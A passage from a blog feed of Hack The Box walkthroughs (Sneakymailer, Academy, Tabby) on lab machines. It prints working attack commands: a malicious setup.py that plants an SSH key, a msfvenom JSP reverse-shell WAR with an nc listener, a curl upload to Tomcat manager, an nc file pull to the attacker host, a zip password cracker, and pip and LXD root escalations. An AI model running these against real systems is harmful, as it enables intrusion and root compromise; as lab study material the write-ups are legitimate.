  f.writelines('ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOa1fuNi1hqodCXMlrRpn0K4SLCwYnAaRs/Tm3HXW0GFNey/91O0xi0w/gmUB+g/+6ueXosZuiXaK0GeHw4rtb6ROuD7+cXhIDO2l0FYZOuvddgtYlsq5Tt2cchryRPJnBAVEbONPTvOBjnt1ucT6XnkjBFpVwOq5tB+ogwoJp66pNOVdGjtvB3gRFGW+dgew9VdK2FEX9+7zJGbieulRF+tV7pcCMer95ExX06A/3C9QA+E4vqsNWwlo46yR4O1ZVbsmDUPOs1p9oZpwjZjLJj4okUEhhbxxafWxdaHKfwaXrw350V5y2wqBy05PlCEdstxljQ9zc/FN3QnPojiCLFpueQ3YvaoCub64jJ5vt3umr9GGwC/Ws4OBO95VtgjpeC2wR1RKEy6Ej2UCFpTqdwgUDpLzfDPl92v4A+U0btowuI0FYzFJ3FcfYabLRpFXb2R73OSwIU1F7UHwML8lSsWLAaCUcgYhuRY7o73+pngmhdCJ93tFfat4hQBMWjuE=')
except :
  setup(
  name=&quot;room&quot;, 
  version=&quot;0.0.1&quot;,
  author=&quot;deveoper&quot;,
  author_email=&quot;deveoper@test.com&quot;,
  description=&quot;A small example package&quot;,
  long_description_content_type=&quot;text/markdown&quot;,
  url=&quot;http:/test.com&quot;,
  packages=find_packages(),
  classifiers=[&quot;Programming Language :: Python :: 3&quot;,&quot;License :: OSI Approved :: MIT License&quot;,&quot;Operating System :: OS Independent&quot;,],
  python_requires='&amp;gt;=3.6', 
)
 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;by checking machine ports, I found port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5000&lt;/code&gt; opend in localhost so lets exploit it.&amp;lt;/br&amp;gt;
create .pypirc file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[distutils]
index-servers =
  pypi
  room

[pypi]
username: kkkk 
password: kkkk

[room]
repository: http://127.0.0.1:5000
username: pypi 
password: soufianeelhaoui
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export HOME=/tmp/python&lt;/code&gt;
to run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup.py&lt;/code&gt; we should export python enviroment.
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/100475972-186b4e00-30ed-11eb-9651-3e16c965d062.png&quot; alt=&quot;Screenshot from 2020-08-22 02-42-44&quot; /&gt;
now lets run the exploit and login via ssh 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/100479259-591b9500-30f6-11eb-9dfe-c1a43c9c9c53.png&quot; alt=&quot;Screenshot from 2020-08-24 07-04-17&quot; /&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/100480331-9cc3ce00-30f9-11eb-8238-dfb6e847eeda.png&quot; alt=&quot;Screenshot from 2020-08-24 07-51-55&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;3-root-access&quot;&gt;3-root access&lt;/h3&gt;
&lt;p&gt;by checking user’s privileges ,&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;low &lt;/code&gt;can run command from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/pip3&lt;/code&gt; 
so we can get pip shell or  revese shell to get root access.
first i tried to make pip shell and it was success.
got it from here  &lt;a href=&quot;https://gtfobins.github.io/gtfobins/pip/&quot;&gt;FakePip&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;TF=$(mktemp -d)
echo &quot;import os; os.execl('/bin/sh', 'sh', '-c', 'sh &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)')&quot; &amp;gt; $TF/setup.py
pip install $TF
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;by tf Command we can  add news folder and file from file system to TFS Source Control. Need to do check-in before these file can be visible.
i created temporary file and run the exploit 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/100485156-b835d580-3107-11eb-9599-04742cd2bf83.png&quot; alt=&quot;Screenshot from 2020-08-24 07-38-46&quot; /&gt;
finally pwned&lt;/p&gt;</content><author><name></name></author><summary type="html">Hack The Box - Sneakymailer</summary></entry><entry><title type="html">Academy</title><link href="https://python4004.github.io/academy" rel="alternate" type="text/html" title="Academy" /><published>2021-03-01T00:00:00+00:00</published><updated>2021-03-01T00:00:00+00:00</updated><id>https://python4004.github.io/academy</id><content type="html" xml:base="https://python4004.github.io/academy">&lt;h1 id=&quot;hack-the-box---academy&quot;&gt;Hack The Box - Academy&lt;/h1&gt;

&lt;h2 id=&quot;this-is-my-writeup-and-walkthrough-for-academy-machine--from-hack-the-box&quot;&gt;This is my writeup and walkthrough for Academy machine  from Hack The Box.&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99427934-af2a5480-290e-11eb-8cb5-e6a888fc9174.png&quot; alt=&quot;academy&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enumeration&lt;/code&gt;&lt;/h2&gt;

&lt;h4 id=&quot;1-nmap&quot;&gt;1-Nmap&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sC -sV  10.10.10.215
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-17 19:55 EET
Nmap scan report for academy.htb (10.10.10.215)
Host is up (0.37s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack The Box Academy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;checking-http-service&quot;&gt;checking http service&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adding 10.10.10.194 to our /etc/hosts file&lt;/code&gt; 
first i tried to exploit login page may i find sql injection but i failed ,second i used dirsearch tool to brute force directories.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99430365-e8b08f00-2911-11eb-883f-21a6fbac1018.png&quot; alt=&quot;Screenshot from 2020-11-17 20-09-37&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I opened the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin.php&lt;/code&gt; page and found it was a login page
So I created an account and tried to login from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin.php&lt;/code&gt; but failed.
 this is the request format during registration
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99431286-2eba2280-2913-11eb-956d-d380814c0deb.png&quot; alt=&quot;Screenshot from 2020-11-15 22-54-59&quot; /&gt;&lt;/p&gt;

&lt;p&gt;i tried to change the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;roleid&lt;/code&gt; to 1 and login again this time i can login successfully
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99432884-75a91780-2915-11eb-8ea7-f87b4a6ab249.png&quot; alt=&quot;Screenshot from 2020-11-14 23-18-50&quot; /&gt;
i added this subdomain to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt; and opened it&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99436772-25808400-291a-11eb-870c-d45949af3d30.png&quot; alt=&quot;Screenshot from 2020-11-17 21-07-39&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I noticed that site based on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;laravel&lt;/code&gt; framework and i have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app_key&lt;/code&gt; so i searched exploits and i found that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PHP Laravel Framework 5.5.40 / 5.6.x &amp;lt; 5.6.30 - token Unserialize Remote Command&lt;/code&gt;
this module available in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;metasploit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;okey lets exploit 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99437337-fc142800-291a-11eb-8701-3b0b22e9695c.png&quot; alt=&quot;Screenshot from 2020-11-15 00-23-00&quot; /&gt;
we need to set&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1-app_key &quot;dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=&quot;
2-lhost
3-rhost 
4-vhost (virtual host) for subdomain  
5-local machine port 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;2--user-access&quot;&gt;2- user access&lt;/h4&gt;
&lt;p&gt;In fact, it was not difficult to obtain the powers of the user.
I just reviewed the env file and found file with data base  and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cry0l1t3&lt;/code&gt; password.
Just need some time to search.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99439108-70e86180-291d-11eb-82cc-8fdc6e26fb57.png&quot; alt=&quot;Screenshot from 2020-11-15 00-31-20&quot; /&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99439150-7e055080-291d-11eb-9e5a-1ae41c53137d.png&quot; alt=&quot;Screenshot from 2020-11-15 00-32-36&quot; /&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99441864-2d8ff200-2921-11eb-9cc1-b50ee0252cc7.png&quot; alt=&quot;Screenshot from 2020-11-15 00-32-47&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;3-root-access&quot;&gt;3-root access&lt;/h4&gt;
&lt;p&gt;now i can login with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh&lt;/code&gt; 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99442687-641a3c80-2922-11eb-8cd2-6c8293249d3a.png&quot; alt=&quot;Screenshot from 2020-11-15 23-05-46&quot; /&gt; 
i upgraded to tty shell &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3 -c 'import pty; pty.spawn(&quot;/bin/bash&quot;)'&lt;/code&gt; or to upgrade to full tty shell use this commands&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;   /usr/bin/script -qc /bin/bash /dev/null
    Ctrl-Z
    stty raw -echo
    fg
    Ctrl-Z
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;i found that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adm&lt;/code&gt; group,
 To be honest, I did not know at first what it was, but I searched for it and knew the difference between it and the&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; admin &lt;/code&gt;group&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99443600-b740bf00-2923-11eb-8951-bf2d80895feb.png&quot; alt=&quot;croped&quot; /&gt;
by adm previlige i could check process happen in the server is checked all logs i had access on them,&lt;/p&gt;

&lt;p&gt;so i checked &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;audit&lt;/code&gt; logs 
its very big logs so i should find way to search logs easly
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat audit.log.3 |grep &quot;uid=1002&quot;&lt;/code&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99444798-5d40f900-2925-11eb-911d-064af480324d.png&quot; alt=&quot;Screenshot from 2020-11-17 22-27-59&quot; /&gt;&lt;/p&gt;

&lt;p&gt;this process for server user tried to  use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su&lt;/code&gt; command this data after hexadecimal decode &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mrb3n_Ac@d3my!&lt;/code&gt;
I think it’s clear it’s to  mrb3n 
i could take &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mrb3n&lt;/code&gt; previlige 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99446299-7fd41180-2927-11eb-94dc-4e687ba72ebf.png&quot; alt=&quot;Screenshot from 2020-11-16 10-28-45&quot; /&gt;
by lookng at user privileges &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/99449819-8e6ef880-2928-11eb-8170-ea9b2448a536.png&quot; alt=&quot;Screenshot from 2020-11-16 10-36-22&quot; /&gt;
this user can run coomand from composer&lt;/p&gt;
&lt;h2 id=&quot;composer&quot;&gt;composer&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Composer is a tool for dependency management in PHP.
It allows you to declare the libraries your project depends on and it will manage (install/update) them for you.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://getcomposer.org/&quot;&gt;Composer documentation &lt;/a&gt;&lt;/p&gt;</content><author><name></name></author><summary type="html">Hack The Box - Academy</summary></entry><entry><title type="html">Tabby</title><link href="https://python4004.github.io/tabby" rel="alternate" type="text/html" title="Tabby" /><published>2020-11-08T00:00:00+00:00</published><updated>2020-11-08T00:00:00+00:00</updated><id>https://python4004.github.io/Tabby</id><content type="html" xml:base="https://python4004.github.io/tabby">&lt;h1 id=&quot;hack-the-box---tabby&quot;&gt;Hack The Box - Tabby&lt;/h1&gt;

&lt;h2 id=&quot;this-is-my-writeup-and-walkthrough-for-tabby-from-hack-the-box&quot;&gt;This is my writeup and walkthrough for tabby from Hack The Box.&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86299941-cbe51a80-bc01-11ea-801b-3c4a276e6143.jpg&quot; alt=&quot;cover&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;an-easy-linux-machine-with-some-vulnerable-lfi&quot;&gt;an easy linux machine with some vulnerable LFI&lt;/h2&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enumeration&lt;/code&gt;&lt;/h2&gt;

&lt;h4 id=&quot;1-nmap&quot;&gt;1-Nmap&lt;/h4&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -sC -sV 10.10.10.194&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;theblock@python-4004:~$ nmap -sC -sV 10.10.10.194
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-02 01:22 EET
Nmap scan report for megahosting.htb (10.10.10.194)
Host is up (0.47s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h6 id=&quot;my-focus-was-on-port-80-http-apache-httpd-2441-ubuntu-and-8080-running-a-http-apache-called-tomcat&quot;&gt;My focus was on Port 80 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http Apache httpd 2.4.41 ((Ubuntu))&lt;/code&gt; ,and 8080 running a http Apache called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tomcat&lt;/code&gt;.&lt;/h6&gt;

&lt;h4 id=&quot;2-website&quot;&gt;2-website&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86300983-ecfb3a80-bc04-11ea-81d9-2d1be55f2920.png&quot; alt=&quot;Screenshot from 2020-07-02 01-34-45&quot; /&gt;&lt;/p&gt;

&lt;h5 id=&quot;ckeck-site-very-well-moving-to-news-page-founding--paramter-file-it-maybe-vulnerable&quot;&gt;Ckeck site very well moving to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;news&lt;/code&gt; page founding  paramter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; it maybe vulnerable&lt;/h5&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86301124-4cf1e100-bc05-11ea-906c-1b77164f5826.png&quot; alt=&quot;Screenshot from 2020-07-02 01-33-13&quot; /&gt;&lt;/p&gt;

&lt;h5 id=&quot;first-i-thought-it-may-be-lfi-and-it-was-right-expectation-but-lets-add-101010194-to-our-etchosts-file&quot;&gt;First i thought it may be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LFI&lt;/code&gt; and it was right expectation but let’s add 10.10.10.194 to our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt; file&lt;/h5&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86302713-c8ee2800-bc09-11ea-8f35-3453aedf8d99.png&quot; alt=&quot;Screenshot from 2020-07-02 02-09-29&quot; /&gt;&lt;/p&gt;

&lt;h5 id=&quot;the-second-step-is-to-exploit-but-i-need-more-information-now-the-role-of-port-8080&quot;&gt;the second step is to exploit but i need more information now the role of port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8080&lt;/code&gt;&lt;/h5&gt;
&lt;h5 id=&quot;checking-this-port-1010101948080&quot;&gt;checking this port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.10.10.194:8080&lt;/code&gt;&lt;/h5&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86303303-bd9bfc00-bc0b-11ea-8ed6-33fa5e11bbab.png&quot; alt=&quot;Screenshot from 2020-07-02 02-23-24&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CATALINA_HOME&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CATALINA_BASE&lt;/code&gt; environment variables are used to 
specify the location of Apache Tomcat and the location of its active configuration, respectively.&lt;/p&gt;

&lt;p&gt;this information is very important &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Users are defined in /etc/tomcat9/tomcat-users.xml.&lt;/code&gt; okey lets see our users using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CATALINA_HOME&lt;/code&gt;
i think its very important to see Apache Tomcat 8 docs ,googling and lets try to get usrs from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tomcat-users.xml&lt;/code&gt;
&lt;a href=&quot;http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html&quot;&gt;Tomcat docs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86301222-95110380-bc05-11ea-8f59-d41dbaa6f153.png&quot; alt=&quot;lfi&quot; /&gt;
 very good i have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tomcat&lt;/code&gt; password &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$3cureP4s5w0rd123!&lt;/code&gt;
now i can acess &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The host-manager&lt;/code&gt; but i dont have any authorization to  upload any shell on this server so lets googling maybe find way.
i found an exploitaion to this server &lt;a href=&quot;https://www.hackingarticles.in/multiple-ways-to-exploit-tomcat-manager/&quot;&gt;Tomcat exploitaion&lt;/a&gt;
now from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LFI&lt;/code&gt; we can get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RCE&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h3&gt;

&lt;p&gt;Exploitation is  to Generate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.war&lt;/code&gt; Format Backdoor,We can use msfvenom for generating a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.war&lt;/code&gt; format backdoor for java/jsp payload, all you need to do
 is just follow the given below syntax to create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.war&lt;/code&gt; format file and then run Netcat listener.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.120 LPORT=1234 -f war &amp;gt; kk.war
 nc -lvp 1234
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Deploy A New Application from a Local Path from this path &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://10.10.10.194:8080/manager/text/deploy?path=filename&lt;/code&gt; this mentioned in the documentation&lt;/p&gt;

&lt;p&gt;using curl command to send &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.war&lt;/code&gt; file to server&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file kk.war &quot;http://10.10.10.194:8080/manager/text/deploy?path=/kk.war&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;checking context &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://10.10.10.194:8080/manager/text/deploy?config=file:/path/context.xml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86305635-6cdbd180-bc12-11ea-8ace-28c853d22d85.jpg&quot; alt=&quot;server file&quot; /&gt;&lt;/p&gt;
&lt;h6 id=&quot;kkwar-is-uploaded-successfully&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kk.war&lt;/code&gt; is uploaded successfully&lt;/h6&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86305804-deb41b00-bc12-11ea-9efc-bfa48c11f726.jpg&quot; alt=&quot;connect2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;connected to machine and upgrade to tty shell  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3 -c 'import pty; pty.spawn(&quot;/bin/bash&quot;)'&lt;/code&gt; or to upgrade to full  tty shell use this commands&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    /usr/bin/script -qc /bin/bash /dev/null
     Ctrl-Z
     stty raw -echo
     fg
     Ctrl-Z
    
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h3&gt;
&lt;h4 id=&quot;1--own-user&quot;&gt;1- Own User&lt;/h4&gt;
&lt;p&gt;in this step lets discover system and search for any things that seem important to escalate your privilege
in /home/ash i couldnt go inside lets look deeper 
in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/html/files&lt;/code&gt; i found &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;16162020_backup.zip&lt;/code&gt; that need password to be unziped so i copy this zip file from target machine to my machine by nc command&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;target machine 
nc 10.10.16.120 4000 &amp;gt; 16162020_backup.zip
my machine 
nc -l -p 4000 &amp;lt; 16162020_backup.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;i develop simple python code to crack this zip file password&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/usr/local/bin/python3
from tqdm  import tqdm 
import zipfile
import sys

wordlist = sys.argv[2]
zip_file = sys.argv[1]

zip_file = zipfile.ZipFile(zip_file)
n_words = len(list(open(wordlist, &quot;rb&quot;)))

print(&quot;Total passwords to test:&quot;, n_words)
with open(wordlist, &quot;rb&quot;) as wordlist:
    for word in tqdm(wordlist, total=n_words, unit=&quot;word&quot;):
        try:
            zip_file.extractall(pwd=word.strip())
        except:
            continue
        else:
            print(&quot;[+] Password found:&quot;, word.decode().strip())
            exit(0)
print(&quot;[!] Password not found, try other wordlist.&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;the password &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin@it&lt;/code&gt;
And now we owned user ash:
getting usr.txt&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86308013-7700ce80-bc18-11ea-95c4-3cd1369c46d8.png&quot; alt=&quot;Screenshot from 2020-07-02 03-54-33&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;2--own-root&quot;&gt;2- Own Root&lt;/h4&gt;
&lt;p&gt;This step took me a lot of time, although it was not difficult
but finally i own machine lets explian the exploit 
on seeig autherization by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86308347-40778380-bc19-11ea-93e7-e5d5122d8379.png&quot; alt=&quot;Screenshot from 2020-07-02 04-00-23&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A member of the local “lxd” group can instantly escalate the privileges to root on the host operating system. 
This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. 
The vulnerability exists even with the LXD snap package.
&lt;a href=&quot;https://www.hackingarticles.in/lxd-privilege-escalation/&quot;&gt;Lxd Privilege Escalation&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;steps-to-be-performed-on-the-attacker-machine&quot;&gt;Steps to be performed on the attacker machine:&lt;/h4&gt;
&lt;p&gt;1-Download build-alpine in your local machine through the git repository.&lt;/p&gt;

&lt;p&gt;2-Execute the script “build -alpine” that will build the latest Alpine image as a compressed file, this step must be executed by the root user.&lt;/p&gt;

&lt;p&gt;3-Transfer the tar file to the host machine&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;i upload all files on my localhost&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86310114-8afaff00-bc1d-11ea-856b-551651e35021.png&quot; alt=&quot;Screenshot from 2020-06-30 17-24-49&quot; /&gt;&lt;/p&gt;

&lt;p&gt;on the target machine 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget  http://10.10.16.120/lxd-alpine-builder-master/alpine-v3.12-x86_64-20200630_1546.tar.gz&lt;/code&gt; on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; or /&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;home&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After the image is built it can be added as an image to LXD as follows:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lxc image import alpine-v3.12-x86_64-20200630_1546.tar.gz --alias myimage&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lxc image list&lt;/code&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86310258-e62cf180-bc1d-11ea-92a5-898b77719e79.png&quot; alt=&quot;lxc&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; lxc init myimage ignite -c security.privileged=true
 lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
 lxc start ignite
 lxc exec ignite /bin/sh
 id
